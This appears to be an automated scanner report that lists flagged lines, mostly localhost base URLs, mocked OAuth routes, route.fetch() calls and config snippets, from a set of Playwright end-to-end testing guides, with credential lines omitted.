await page.route("https://accounts.google.com/**", async (route) => { - Network accessline 543
// Redirect back to your app's callback with a fake auth code const callbackUrl = new URL("http://localhost:3000/auth/callback") callbackUrl.searchParams.set("code", "mock-auth-code-12345") - Network accessline 544
const callbackUrl = new URL("http://localhost:3000/auth/callback") - Network accessline 593
test("login via mocked OAuth flow", async ({ page }) => { await page.route("https://accounts.google.com/**", async (route) => { - Network accessline 594
await page.route("https://accounts.google.com/**", async (route) => { - Network accessline 595
const callbackUrl = new URL("http://localhost:3000/auth/callback") - Access to secretsline 669
[Credential-related source omitted] - Access to secretsline 710
[Credential-related source omitted] - Access to secretsline 804
[Credential-related source omitted] - Network accessline 1081
// Create API context and login const apiContext = await playwright.request.newContext({ baseURL: "http://localhost:3000", - Network accessline 1082
const apiContext = await playwright.request.newContext({ baseURL: "http://localhost:3000", }) - Network accessline 1083
baseURL: "http://localhost:3000", - Network accessline 1141
authenticatedPage: async ({ browser, playwright }, use) => { const apiContext = await playwright.request.newContext({ baseURL: "http://localhost:3000", - Network accessline 1142
const apiContext = await playwright.request.newContext({ baseURL: "http://localhost:3000", }) - Network accessline 1143
baseURL: "http://localhost:3000", - Access to secretsline 1352
[Credential-related source omitted] - Access to secretsline 1354
[Credential-related source omitted]
skills/playwright/core/browser-apis.md
- Network accessline 175
// Grant permission dynamically await context.grantPermissions(["camera"], { origin: "https://localhost:3000" }) - Network accessline 176
await context.grantPermissions(["camera"], { origin: "https://localhost:3000" }) - Network accessline 208
await context.grantPermissions(["camera"], { origin: "https://localhost:3000" }) - Network accessline 236
// Read clipboard content const clipboardText = await page.evaluate(() => navigator.clipboard.readText()) expect(clipboardText).toContain("https://example.com/share/") - Network accessline 238
expect(clipboardText).toContain("https://example.com/share/") - Network accessline 279
const clipboardText = await page.evaluate(() => navigator.clipboard.readText()) expect(clipboardText).toContain("https://example.com/share/") - Network accessline 280
expect(clipboardText).toContain("https://example.com/share/")
skills/playwright/core/browser-extensions.md
- Network accessline 145
test("content script injects price comparison widget", async ({ context }) => { const page = await context.newPage() await page.goto("https://example-shop.com/product/123") - Network accessline 147
await page.goto("https://example-shop.com/product/123") - Network accessline 155
test("content script highlights search terms", async ({ context }) => { const page = await context.newPage() await page.goto("https://example.com/article") - Network accessline 157
await page.goto("https://example.com/article") - Network accessline 171
test("content script injects price comparison widget", async ({ context }) => { const page = await context.newPage() await page.goto("https://example-shop.com/product/123") - Network accessline 173
await page.goto("https://example-shop.com/product/123")
skills/playwright/core/common-pitfalls.md
- Network accessline 321
**Why it happens**: Developers start with `page.goto('http://localhost:3000/login')` and never refactor. - Network accessline 331
export default defineConfig({ use: { baseURL: process.env.BASE_URL || "http://localhost:3000", - Network accessline 332
use: { baseURL: process.env.BASE_URL || "http://localhost:3000", }, - Network accessline 333
baseURL: process.env.BASE_URL || "http://localhost:3000", - Network accessline 341
// BAD test("bad: hardcoded URL", async ({ page }) => { await page.goto("http://localhost:3000/login") - Network accessline 342
test("bad: hardcoded URL", async ({ page }) => { await page.goto("http://localhost:3000/login") }) - Network accessline 343
await page.goto("http://localhost:3000/login") - Network accessline 358
module.exports = defineConfig({ use: { baseURL: process.env.BASE_URL || "http://localhost:3000", - Network accessline 359
use: { baseURL: process.env.BASE_URL || "http://localhost:3000", }, - Network accessline 360
baseURL: process.env.BASE_URL || "http://localhost:3000", - Network accessline 368
// BAD test("bad: hardcoded URL", async ({ page }) => { await page.goto("http://localhost:3000/login") - Network accessline 369
test("bad: hardcoded URL", async ({ page }) => { await page.goto("http://localhost:3000/login") }) - Network accessline 370
await page.goto("http://localhost:3000/login") - Network accessline 379
Run against different environments by setting the variable: `BASE_URL=https://staging.example.com npx playwright test` - Network accessline 510
export default defineConfig({ use: { baseURL: "http://localhost:3000", - Network accessline 511
use: { baseURL: "http://localhost:3000", }, - Network accessline 512
baseURL: "http://localhost:3000", - Network accessline 515
webServer: { command: "npm run start", url: "http://localhost:3000", - Network accessline 516
command: "npm run start", url: "http://localhost:3000", // Reuse existing server locally (faster), start fresh in CI - Network accessline 517
url: "http://localhost:3000", - Network accessline 535
module.exports = defineConfig({ use: { baseURL: "http://localhost:3000", - Network accessline 536
use: { baseURL: "http://localhost:3000", }, - Network accessline 537
baseURL: "http://localhost:3000", - Network accessline 539
webServer: { command: "npm run start", url: "http://localhost:3000", - Network accessline 540
command: "npm run start", url: "http://localhost:3000", reuseExistingServer: !process.env.CI, - Network accessline 541
url: "http://localhost:3000", - Network accessline 553
webServer: [ { command: 'npm run start:api', url: 'http://localhost:4000/health', reuseExistingServer: !process.env.CI }, - Network accessline 554
{ command: 'npm run start:api', url: 'http://localhost:4000/health', reuseExistingServer: !process.env.CI }, - Network accessline 555
{ command: 'npm run start:web', url: 'http://localhost:3000', reuseExistingServer: !process.env.CI },
skills/playwright/core/component-testing.md
- Access to secretsline 216
[Credential-related source omitted]
skills/playwright/core/configuration.md
- Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Network accessline 51
// ── Shared browser context options ────────────────────────────── use: { baseURL: process.env.BASE_URL || "http://localhost:3000", - Network accessline 52
use: { baseURL: process.env.BASE_URL || "http://localhost:3000", actionTimeout: 10_000, // click, fill, etc. - Network accessline 53
baseURL: process.env.BASE_URL || "http://localhost:3000", - Network accessline 95
webServer: { command: "npm run dev", url: "http://localhost:3000", - Network accessline 96
command: "npm run dev", url: "http://localhost:3000", reuseExistingServer: !process.env.CI, - Network accessline 97
url: "http://localhost:3000", - Access to secretsline 114
[Credential-related source omitted] - Network accessline 134
use: { baseURL: process.env.BASE_URL || "http://localhost:3000", - Network accessline 135
baseURL: process.env.BASE_URL || "http://localhost:3000", - Network accessline 173
webServer: { command: "npm run dev", url: "http://localhost:3000", - Network accessline 174
command: "npm run dev", url: "http://localhost:3000", reuseExistingServer: !process.env.CI, - Network accessline 175
url: "http://localhost:3000", - Access to secretsline 199
[Credential-related source omitted] - Network accessline 203
const envConfig: Record<string, { baseURL: string; retries: number }> = { local: { baseURL: "http://localhost:3000", retries: 0 }, - Network accessline 204
local: { baseURL: "http://localhost:3000", retries: 0 }, - Network accessline 205
staging: { baseURL: "https://staging.example.com", retries: 2 }, - Network accessline 206
production: { baseURL: "https://www.example.com", retries: 2 }, - Network accessline 240
const envConfig = { local: { baseURL: "http://localhost:3000", retries: 0 }, - Network accessline 241
local: { baseURL: "http://localhost:3000", retries: 0 }, - Network accessline 242
staging: { baseURL: "https://staging.example.com", retries: 2 }, - Network accessline 243
production: { baseURL: "https://www.example.com", retries: 2 }, - Network accessline 381
testMatch: "**/*.spec.ts", use: { baseURL: "http://localhost:3000", - Network accessline 382
use: { baseURL: "http://localhost:3000", }, - Network accessline 383
baseURL: "http://localhost:3000", - Network accessline 387
? "npm run build && npm run start" // production build in CI : "npm run dev", // dev server locally url: "http://localhost:3000", - Network accessline 388
: "npm run dev", // dev server locally url: "http://localhost:3000", reuseExistingServer: !process.env.CI, - Network accessline 389
url: "http://localhost:3000", - Network accessline 410
testMatch: "**/*.spec.js", use: { baseURL: "http://localhost:3000", - Network accessline 411
use: { baseURL: "http://localhost:3000", }, - Network accessline 412
baseURL: "http://localhost:3000", - Network accessline 414
webServer: { command: process.env.CI ? "npm run build && npm run start" : "npm run dev", url: "http://localhost:3000", - Network accessline 415
command: process.env.CI ? "npm run build && npm run start" : "npm run dev", url: "http://localhost:3000", reuseExistingServer: !process.env.CI, - Network accessline 416
url: "http://localhost:3000", - Network accessline 519
# .env.example (commit this) BASE_URL=http://localhost:3000 - Network accessline 520
BASE_URL=http://localhost:3000 - Access to secretsline 522
[Credential-related source omitted] - Network accessline 524
# .env.local (gitignored) BASE_URL=http://localhost:3000 - Network accessline 525
BASE_URL=http://localhost:3000 - Access to secretsline 527
[Credential-related source omitted] - Network accessline 529
# .env.staging (gitignored) BASE_URL=https://staging.example.com - Network accessline 530
BASE_URL=https://staging.example.com - Access to secretsline 532
[Credential-related source omitted] - Access to secretsline 537
[Credential-related source omitted] - Access to secretsline 631
[Credential-related source omitted] - Network accessline 638
| -------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------- | ----------------------------------------- - Network accessline 639
| `timeout: 300_000` globally | Masks flaky tests; CI runs take forever | Fix the root cause; keep timeout at 30s; - Network accessline 640
| Hardcoded URLs in tests: `page.goto('http://localhost:3000/login')` | Breaks in every non-local environment | Use `baseURL` in config, then `page.goto( - Network accessline 654
**Cause**: Using `page.goto('http://localhost:3000/path')` instead of `page.goto('/path')`. When `goto` receives an absolute URL, it ignores `baseURL`. - Network accessline 659
// Wrong -- ignores baseURL await page.goto("http://localhost:3000/dashboard") - Network accessline 660
await page.goto("http://localhost:3000/dashboard") - Network accessline 679
webServer: { command: "npm run dev", url: "http://localhost:3000/api/health", // use a real endpoint - Network accessline 680
command: "npm run dev", url: "http://localhost:3000/api/health", // use a real endpoint reuseExistingServer: !process.env.CI, - Network accessline 681
url: "http://localhost:3000/api/health", // use a real endpoint
skills/playwright/core/debugging.md
skills/playwright/core/drag-and-drop.md
- Network accessline 915
- [Playwright Drag and Drop Docs](https://playwright.dev/docs/input#drag-and-drop) - [core/file-upload-download.md](file-upload-download.md) -- File drop zones specifically
skills/playwright/core/error-and-edge-cases.md
- Network accessline 813
await page.route("**/api/orders", (route) => { requests.push(route.request().method()) - Network accessline 814
requests.push(route.request().method()) - Network accessline 832
// The app should prevent duplicate submissions // (button disabled after first click, or server deduplication) expect(requests.filter((m) => m === "POST").length).toBeLessThanOrEqual(1) - Network accessline 833
// (button disabled after first click, or server deduplication) expect(requests.filter((m) => m === "POST").length).toBeLessThanOrEqual(1) }) - Network accessline 834
expect(requests.filter((m) => m === "POST").length).toBeLessThanOrEqual(1) - Network accessline 883
await page.route("**/api/orders", (route) => { requests.push(route.request().method()) - Network accessline 884
requests.push(route.request().method()) - Network accessline 899
expect(requests.filter((m) => m === "POST").length).toBeLessThanOrEqual(1)
skills/playwright/core/error-index.md
- Network accessline 385
webServer: { command: "npm run dev", url: "http://localhost:3000", - Network accessline 386
command: "npm run dev", url: "http://localhost:3000", reuseExistingServer: !process.env.CI, - Network accessline 387
url: "http://localhost:3000", - Network accessline 390
}, use: { baseURL: "http://localhost:3000", - Network accessline 391
use: { baseURL: "http://localhost:3000", }, - Network accessline 392
baseURL: "http://localhost:3000", - Network accessline 402
webServer: { command: "npm run dev", url: "http://localhost:3000", - Network accessline 403
command: "npm run dev", url: "http://localhost:3000", reuseExistingServer: !process.env.CI, - Network accessline 404
url: "http://localhost:3000", - Network accessline 407
}, use: { baseURL: "http://localhost:3000", - Network accessline 408
use: { baseURL: "http://localhost:3000", }, - Network accessline 409
baseURL: "http://localhost:3000", - Network accessline 1016
{ command: "npm run start:api", url: "http://localhost:4000/health", - Network accessline 1017
command: "npm run start:api", url: "http://localhost:4000/health", reuseExistingServer: !process.env.CI, - Network accessline 1018
url: "http://localhost:4000/health", - Network accessline 1021
{ command: "npm run start:web", url: "http://localhost:3000", - Network accessline 1022
command: "npm run start:web", url: "http://localhost:3000", reuseExistingServer: !process.env.CI, - Network accessline 1023
url: "http://localhost:3000", - Network accessline 1026
], use: { baseURL: "http://localhost:3000", - Network accessline 1027
use: { baseURL: "http://localhost:3000", }, - Network accessline 1028
baseURL: "http://localhost:3000", - Network accessline 1032
// In tests, use the request fixture with explicit baseURL for API calls test("fetch users", async ({ request }) => { const response = await request.get("http://localhost:4000/api/users") - Network accessline 1033
test("fetch users", async ({ request }) => { const response = await request.get("http://localhost:4000/api/users") expect(response.ok()).toBeTruthy() - Network accessline 1034
const response = await request.get("http://localhost:4000/api/users") - Network accessline 1045
{ command: "npm run start:api", url: "http://localhost:4000/health", - Network accessline 1046
command: "npm run start:api", url: "http://localhost:4000/health", reuseExistingServer: !process.env.CI, - Network accessline 1047
url: "http://localhost:4000/health", - Network accessline 1050
{ command: "npm run start:web", url: "http://localhost:3000", - Network accessline 1051
command: "npm run start:web", url: "http://localhost:3000", reuseExistingServer: !process.env.CI, - Network accessline 1052
url: "http://localhost:3000", - Network accessline 1055
], use: { baseURL: "http://localhost:3000", - Network accessline 1056
use: { baseURL: "http://localhost:3000", }, - Network accessline 1057
baseURL: "http://localhost:3000", - Network accessline 1066
### "Request was not handled: GET https://..." - Dangerous shell operationline 1862
rm -f playwright/.auth/user.json - Network accessline 1919
4. **Check the locator** — Run `npx playwright codegen <url>` to verify locators against the live page. 5. **Check the Playwright version** — Run `npx playwright --version`. Ensure `@playwright/test` and browser binaries are the same versio - Network accessline 1921
6. **Search the Playwright issue tracker** — Many errors have known solutions in [github.com/microsoft/playwright/issues](https://github.com/microsoft/playwright/issues).
skills/playwright/core/file-upload-download.md
- Access to secretsline 946
[Credential-related source omitted] - Network accessline 978
- [Playwright Upload Docs](https://playwright.dev/docs/input#upload-files) - [Playwright Download Docs](https://playwright.dev/docs/downloads) - Network accessline 979
- [Playwright Download Docs](https://playwright.dev/docs/downloads)
skills/playwright/core/fixtures-and-hooks.md
- Network accessline 137
authToken: [ async ({}, use) => { const response = await fetch(`${process.env.API_URL}/auth/token`, { - Network accessline 138
async ({}, use) => { const response = await fetch(`${process.env.API_URL}/auth/token`, { method: "POST", - Network accessline 139
const response = await fetch(`${process.env.API_URL}/auth/token`, { - Network accessline 174
authToken: [ async ({}, use) => { const response = await fetch(`${process.env.API_URL}/auth/token`, { - Network accessline 175
async ({}, use) => { const response = await fetch(`${process.env.API_URL}/auth/token`, { method: "POST", - Network accessline 176
const response = await fetch(`${process.env.API_URL}/auth/token`, { - Network accessline 321
apiClient: async ({ playwright }, use) => { const api = await playwright.request.newContext({ baseURL: "https://api.example.com", - Network accessline 322
[Credential-related source omitted] - Network accessline 323
baseURL: "https://api.example.com", - Access to secretsline 324
[Credential-related source omitted] - Network accessline 378
apiClient: async ({ playwright }, use) => { const api = await playwright.request.newContext({ baseURL: "https://api.example.com", - Network accessline 379
[Credential-related source omitted] - Network accessline 380
baseURL: "https://api.example.com", - Access to secretsline 381
[Credential-related source omitted] - Network accessline 779
sharedToken: [ async ({}, use) => { const res = await fetch(`${process.env.API_URL}/auth/service-token`, { - Network accessline 780
async ({}, use) => { const res = await fetch(`${process.env.API_URL}/auth/service-token`, { method: "POST", - Network accessline 781
const res = await fetch(`${process.env.API_URL}/auth/service-token`, { - Access to secretsline 784
[Credential-related source omitted]
skills/playwright/core/flaky-tests.md
- Network accessline 374
webServer: { command: "npm run start", url: "http://localhost:3000", - Network accessline 375
command: "npm run start", url: "http://localhost:3000", reuseExistingServer: !process.env.CI, - Network accessline 376
url: "http://localhost:3000", - Network accessline 439
webServer: { command: "npm run start", url: "http://localhost:3000", - Network accessline 440
command: "npm run start", url: "http://localhost:3000", reuseExistingServer: !process.env.CI, - Network accessline 441
url: "http://localhost:3000", - Network accessline 697
// RULE 6: Use baseURL — never hardcode full URLs in tests baseURL: process.env.BASE_URL || "http://localhost:3000", - Network accessline 698
baseURL: process.env.BASE_URL || "http://localhost:3000", - Network accessline 710
webServer: { command: "npm run start", url: "http://localhost:3000", - Network accessline 711
command: "npm run start", url: "http://localhost:3000", reuseExistingServer: !process.env.CI, - Network accessline 712
url: "http://localhost:3000", - Network accessline 755
use: { trace: "on-first-retry", baseURL: process.env.BASE_URL || "http://localhost:3000", - Network accessline 756
trace: "on-first-retry", baseURL: process.env.BASE_URL || "http://localhost:3000", contextOptions: { - Network accessline 757
baseURL: process.env.BASE_URL || "http://localhost:3000", - Network accessline 763
webServer: { command: "npm run start", url: "http://localhost:3000", - Network accessline 764
command: "npm run start", url: "http://localhost:3000", reuseExistingServer: !process.env.CI, - Network accessline 765
url: "http://localhost:3000",
skills/playwright/core/locator-strategy.md
- Network accessline 601
- [Playwright Locators documentation](https://playwright.dev/docs/locators) - Network accessline 602
- [Playwright Best Practices](https://playwright.dev/docs/best-practices) - Network accessline 603
- [ARIA Roles reference (MDN)](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Roles)
skills/playwright/core/mobile-and-responsive.md
- Network accessline 1651
**Cause**: Service workers require HTTPS or localhost. Playwright's default `baseURL` of `http://localhost:3000` works, but other HTTP origins do not. - Network accessline 1656
export default defineConfig({ use: { baseURL: "http://localhost:3000", // Works for service workers - Network accessline 1657
use: { baseURL: "http://localhost:3000", // Works for service workers // baseURL: 'http://192.168.1.100:3000', // Does NOT work -- not localhost - Network accessline 1658
baseURL: "http://localhost:3000", // Works for service workers - Network accessline 1659
// baseURL: 'http://192.168.1.100:3000', // Does NOT work -- not localhost
skills/playwright/core/multi-user-and-collaboration.md
- Access to secretsline 461
[Credential-related source omitted]
skills/playwright/core/network-mocking.md
- Network accessline 12
// Modify a real response before it reaches the browser await page.route("**/api/users", async (route) => { const response = await route.fetch() - Network accessline 13
await page.route("**/api/users", async (route) => { const response = await route.fetch() const json = await response.json() - Network accessline 14
const response = await route.fetch() - Network accessline 379
**Use when**: You need the real API response but want to tweak specific fields -- inject test data, override feature flags, simulate edge cases in real data. **Avoid when**: You can fully mock the response. `route.fetch()` adds a real netwo - Network accessline 380
**Avoid when**: You can fully mock the response. `route.fetch()` adds a real network round-trip, so it is slower. - Network accessline 388
await page.route("**/api/users", async (route) => { // Fetch the real response from the server const response = await route.fetch() - Network accessline 389
// Fetch the real response from the server const response = await route.fetch() const users = await response.json() - Network accessline 390
const response = await route.fetch() - Network accessline 403
test("override feature flags from real config", async ({ page }) => { await page.route("**/api/config", async (route) => { const response = await route.fetch() - Network accessline 404
await page.route("**/api/config", async (route) => { const response = await route.fetch() const config = await response.json() - Network accessline 405
const response = await route.fetch() - Network accessline 422
test("modify response headers", async ({ page }) => { await page.route("**/api/data", async (route) => { const response = await route.fetch() - Network accessline 424
const response = await route.fetch() - Network accessline 445
test("modify a real API response", async ({ page }) => { await page.route("**/api/users", async (route) => { const response = await route.fetch() - Network accessline 446
await page.route("**/api/users", async (route) => { const response = await route.fetch() const users = await response.json() - Network accessline 447
const response = await route.fetch() - Network accessline 459
test("override feature flags from real config", async ({ page }) => { await page.route("**/api/config", async (route) => { const response = await route.fetch() - Network accessline 460
await page.route("**/api/config", async (route) => { const response = await route.fetch() const config = await response.json() - Network accessline 461
const response = await route.fetch() - Network accessline 1109
// ** matches any path segments (including nested) await page.route("**/api/users", (route) => route.fulfill({ json: [] })) // Matches: https://example.com/api/users - Network accessline 1110
await page.route("**/api/users", (route) => route.fulfill({ json: [] })) // Matches: https://example.com/api/users // Matches: https://example.com/v2/api/users - Network accessline 1111
// Matches: https://example.com/api/users - Network accessline 1112
// Matches: https://example.com/v2/api/users - Network accessline 1150
test("match all requests on a domain", async ({ page }) => { // Block everything from a specific domain await page.route("https://analytics.example.com/**", (route) => route.abort()) - Network accessline 1152
await page.route("https://analytics.example.com/**", (route) => route.abort()) - Network accessline 1193
test("match all requests on a domain", async ({ page }) => { await page.route("https://analytics.example.com/**", (route) => route.abort()) - Network accessline 1194
await page.route("https://analytics.example.com/**", (route) => route.abort()) - Network accessline 1214
| ----------------------------------------- | ------------------------------------------------------------- | -------------------------------------------------------- | | Frontend depends on an external API | `route.fulfill()` - Network accessline 1215
| Frontend depends on an external API | `route.fulfill()` | Deterministic data, no external dependency, fast | | Need to test real API but tweak one field | `route.fetch()` + modify - Network accessline 1216
| Need to test real API but tweak one field | `route.fetch()` + modify + `route.fulfill()` | Uses real data as baseline, only overrides what you need | - Network accessline 1258
- Ensure glob pattern matches. `**/api/users` does not match `http://localhost:3000/api/users?page=1` -- use `**/api/users*` to include query strings. - Network accessline 1300
### `route.fetch()` causes infinite loop - Network accessline 1302
**Cause**: `route.fetch()` re-issues the request, which can re-trigger the same route handler if the URL pattern matches. - Network accessline 1304
**Fix**: Playwright handles this correctly for the same route handler -- `route.fetch()` will not re-enter the handler that called it. But if you have multiple overlapping route handlers, they can interfere. Simplify to a single handler per
skills/playwright/core/nextjs.md
- Network accessline 23
# .env.test — loaded by Next.js automatically when NODE_ENV=test NEXT_PUBLIC_API_URL=http://localhost:3000/api - Network accessline 24
NEXT_PUBLIC_API_URL=http://localhost:3000/api - Network accessline 25
[Credential-related source omitted] - Network accessline 27
NEXTAUTH_URL=http://localhost:3000 - Network accessline 51
use: { baseURL: "http://localhost:3000", - Network accessline 52
baseURL: "http://localhost:3000", - Network accessline 70
? "npm run build && npm run start" // production build in CI : "npm run dev", // dev server locally url: "http://localhost:3000", - Network accessline 71
: "npm run dev", // dev server locally url: "http://localhost:3000", reuseExistingServer: !process.env.CI, - Network accessline 72
url: "http://localhost:3000", - Network accessline 96
use: { baseURL: "http://localhost:3000", - Network accessline 97
baseURL: "http://localhost:3000", - Network accessline 113
webServer: { command: process.env.CI ? "npm run build && npm run start" : "npm run dev", url: "http://localhost:3000", - Network accessline 114
command: process.env.CI ? "npm run build && npm run start" : "npm run dev", url: "http://localhost:3000", reuseExistingServer: !process.env.CI, - Network accessline 115
url: "http://localhost:3000", - Network accessline 130
# .env.test (commit this -- no real secrets) NEXT_PUBLIC_API_URL=http://localhost:3000/api - Network accessline 131
NEXT_PUBLIC_API_URL=http://localhost:3000/api - Network accessline 975
? 'npm run build && npm run start' : 'npx next dev --turbopack', url: 'http://localhost:3000', - Network accessline 976
: 'npx next dev --turbopack', url: 'http://localhost:3000', reuseExistingServer: !process.env.CI, - Network accessline 977
url: 'http://localhost:3000', - Network accessline 988
{ command: 'npm run dev:api', url: 'http://localhost:4000/health', - Network accessline 989
command: 'npm run dev:api', url: 'http://localhost:4000/health', reuseExistingServer: !process.env.CI, - Network accessline 990
url: 'http://localhost:4000/health', - Network accessline 993
{ command: 'npm run dev', url: 'http://localhost:3000', - Network accessline 994
command: 'npm run dev', url: 'http://localhost:3000', reuseExistingServer: !process.env.CI, - Network accessline 995
url: 'http://localhost:3000', - Network accessline 1006
| Test `getServerSideProps` by importing and calling it directly | It depends on `context` (req/res) that Playwright cannot provide; it is a unit test concern | Navigate to the page and verify the rendered output - Network accessline 1007
| Mock your own API routes with `page.route()` | You are testing a fiction; your API handler may have bugs the mock hides | Let the real API route handle requests; mock only external services - Network accessline 1008
| Use `page.goto('http://localhost:3000/path')` with full URL | Breaks when port or host changes; ignores `baseURL` | Use `page.goto('/path')` and configure `baseURL` in config
skills/playwright/core/react.md
- Network accessline 43
use: { baseURL: "http://localhost:5173", // Vite default port - Network accessline 44
baseURL: "http://localhost:5173", // Vite default port - Network accessline 67
: // ? 'npm run build && npx vite preview --port 5173' // Vite "npm run dev", url: "http://localhost:5173", - Network accessline 68
"npm run dev", url: "http://localhost:5173", reuseExistingServer: !process.env.CI, - Network accessline 69
url: "http://localhost:5173", - Network accessline 90
use: { baseURL: "http://localhost:5173", - Network accessline 91
baseURL: "http://localhost:5173", - Network accessline 111
webServer: { command: process.env.CI ? "npm run build && npx serve -s build -l 5173" : "npm run dev", url: "http://localhost:5173", - Network accessline 112
command: process.env.CI ? "npm run build && npx serve -s build -l 5173" : "npm run dev", url: "http://localhost:5173", reuseExistingServer: !process.env.CI, - Network accessline 113
url: "http://localhost:5173",
skills/playwright/core/security-testing.md
- Dangerous shell operationline 227
expect(csp).not.toContain("'unsafe-eval'") // Disallow eval() - Network accessline 451
test("HTTP redirects to HTTPS", async ({ request }) => { // Use the API request context to follow redirects const response = await request.get("http://your-app.com/", { - Network accessline 452
// Use the API request context to follow redirects const response = await request.get("http://your-app.com/", { maxRedirects: 0, // Don't follow — inspect the redirect - Network accessline 453
const response = await request.get("http://your-app.com/", { - Network accessline 626
| CSRF test passes without token | CSRF protection disabled in test environment | Enable CSRF in test environment or run against staging | | XSS payload does not execute but test pa - Network accessline 627
| XSS payload does not execute but test passes | Framework auto-escapes by default | Still test -- the test confirms the protection works; add edge cases for raw HTML rendering | | `context.cookies()` returns empty - Network accessline 628
| `context.cookies()` returns empty | Cookies set on a different domain or path | Pass the specific URL to `context.cookies('https://your-app.com')` |
skills/playwright/core/service-workers-and-pwa.md
- Network accessline 9
// Service workers require a persistent context — use launchPersistentContext const context = await chromium.launchPersistentContext(userDataDir, { baseURL: "https://localhost:3000", - Network accessline 10
const context = await chromium.launchPersistentContext(userDataDir, { baseURL: "https://localhost:3000", }) - Network accessline 11
baseURL: "https://localhost:3000", - Network accessline 42
const userDataDir = path.join(__dirname, ".tmp-profile") const context = await chromium.launchPersistentContext(userDataDir, { baseURL: "https://localhost:3000", - Network accessline 43
const context = await chromium.launchPersistentContext(userDataDir, { baseURL: "https://localhost:3000", }) - Network accessline 44
baseURL: "https://localhost:3000", - Network accessline 80
const userDataDir = path.join(__dirname, ".tmp-profile") const context = await chromium.launchPersistentContext(userDataDir, { baseURL: "https://localhost:3000", - Network accessline 81
const context = await chromium.launchPersistentContext(userDataDir, { baseURL: "https://localhost:3000", }) - Network accessline 82
baseURL: "https://localhost:3000",
skills/playwright/core/test-architecture.md
- Access to secretsline 310
[Credential-related source omitted]
skills/playwright/core/test-data-management.md
- Access to secretsline 879
[Credential-related source omitted] - Network accessline 891
# .env.local BASE_URL=http://localhost:3000 - Network accessline 892
BASE_URL=http://localhost:3000 - Network accessline 896
# .env.staging BASE_URL=https://staging.example.com - Network accessline 897
BASE_URL=https://staging.example.com
skills/playwright/core/test-organization.md
- Network accessline 674
testDir: "./apps/web/tests", use: { baseURL: "http://localhost:3000", - Network accessline 675
use: { baseURL: "http://localhost:3000", }, - Network accessline 676
baseURL: "http://localhost:3000", - Network accessline 681
testDir: "./apps/admin/tests", use: { baseURL: "http://localhost:3001", - Network accessline 682
use: { baseURL: "http://localhost:3001", }, - Network accessline 683
baseURL: "http://localhost:3001", - Network accessline 688
testDir: "./apps/marketing/tests", use: { baseURL: "http://localhost:4000", - Network accessline 689
use: { baseURL: "http://localhost:4000", }, - Network accessline 690
baseURL: "http://localhost:4000", - Network accessline 707
testDir: "./apps/web/tests", use: { baseURL: "http://localhost:3000", - Network accessline 708
use: { baseURL: "http://localhost:3000", }, - Network accessline 709
baseURL: "http://localhost:3000", - Network accessline 714
testDir: "./apps/admin/tests", use: { baseURL: "http://localhost:3001", - Network accessline 715
use: { baseURL: "http://localhost:3001", }, - Network accessline 716
baseURL: "http://localhost:3001", - Network accessline 721
testDir: "./apps/marketing/tests", use: { baseURL: "http://localhost:4000", - Network accessline 722
use: { baseURL: "http://localhost:4000", }, - Network accessline 723
baseURL: "http://localhost:4000",
skills/playwright/core/third-party-integrations.md
- Network accessline 66
name: "Test User", email: "testuser@gmail.com", avatar: "https://placehold.co/100x100", - Network accessline 67
email: "testuser@gmail.com", avatar: "https://placehold.co/100x100", }, - Network accessline 68
avatar: "https://placehold.co/100x100", - Access to secretsline 182
[Credential-related source omitted]
skills/playwright/core/vue.md
- Network accessline 43
use: { baseURL: "http://localhost:5173", - Network accessline 44
baseURL: "http://localhost:5173", - Network accessline 64
webServer: { command: process.env.CI ? "npm run build && npx vite preview --port 5173" : "npm run dev", url: "http://localhost:5173", - Network accessline 65
command: process.env.CI ? "npm run build && npx vite preview --port 5173" : "npm run dev", url: "http://localhost:5173", reuseExistingServer: !process.env.CI, - Network accessline 66
url: "http://localhost:5173", - Network accessline 87
use: { baseURL: "http://localhost:5173", - Network accessline 88
baseURL: "http://localhost:5173", - Network accessline 108
webServer: { command: process.env.CI ? "npm run build && npx vite preview --port 5173" : "npm run dev", url: "http://localhost:5173", - Network accessline 109
command: process.env.CI ? "npm run build && npx vite preview --port 5173" : "npm run dev", url: "http://localhost:5173", reuseExistingServer: !process.env.CI, - Network accessline 110
url: "http://localhost:5173", - Network accessline 184
use: { baseURL: "http://localhost:3000", - Network accessline 185
baseURL: "http://localhost:3000", - Network accessline 197
webServer: { command: process.env.CI ? "npx nuxi build && npx nuxi preview" : "npx nuxi dev", url: "http://localhost:3000", - Network accessline 198
command: process.env.CI ? "npx nuxi build && npx nuxi preview" : "npx nuxi dev", url: "http://localhost:3000", reuseExistingServer: !process.env.CI, - Network accessline 199
url: "http://localhost:3000", - Network accessline 201
timeout: 120_000, env: { NUXT_PUBLIC_API_BASE: "http://localhost:3000/api", - Network accessline 202
env: { NUXT_PUBLIC_API_BASE: "http://localhost:3000/api", }, - Network accessline 203
NUXT_PUBLIC_API_BASE: "http://localhost:3000/api", - Network accessline 222
use: { baseURL: "http://localhost:3000", - Network accessline 223
baseURL: "http://localhost:3000", - Network accessline 235
webServer: { command: process.env.CI ? "npx nuxi build && npx nuxi preview" : "npx nuxi dev", url: "http://localhost:3000", - Network accessline 236
command: process.env.CI ? "npx nuxi build && npx nuxi preview" : "npx nuxi dev", url: "http://localhost:3000", reuseExistingServer: !process.env.CI, - Network accessline 237
url: "http://localhost:3000", - Network accessline 239
timeout: 120_000, env: { NUXT_PUBLIC_API_BASE: "http://localhost:3000/api", - Network accessline 240
env: { NUXT_PUBLIC_API_BASE: "http://localhost:3000/api", }, - Network accessline 241
NUXT_PUBLIC_API_BASE: "http://localhost:3000/api",
skills/playwright/core/when-to-mock.md
- Network accessline 77
body: JSON.stringify({ status: "succeeded", receiptUrl: "https://receipt.example.com/123", - Network accessline 78
status: "succeeded", receiptUrl: "https://receipt.example.com/123", }), - Network accessline 79
receiptUrl: "https://receipt.example.com/123", - Network accessline 129
body: JSON.stringify({ status: "succeeded", receiptUrl: "https://receipt.example.com/123", - Network accessline 130
status: "succeeded", receiptUrl: "https://receipt.example.com/123", }), - Network accessline 131
receiptUrl: "https://receipt.example.com/123", - Network accessline 168
// Let the real API call go through, but override the stock count await page.route("**/api/products/*", async (route) => { const response = await route.fetch() // forward to real server - Network accessline 169
await page.route("**/api/products/*", async (route) => { const response = await route.fetch() // forward to real server const body = await response.json() - Network accessline 170
const response = await route.fetch() // forward to real server - Network accessline 188
test("inject additional items into a real API response", async ({ page }) => { await page.route("**/api/notifications", async (route) => { const response = await route.fetch() - Network accessline 189
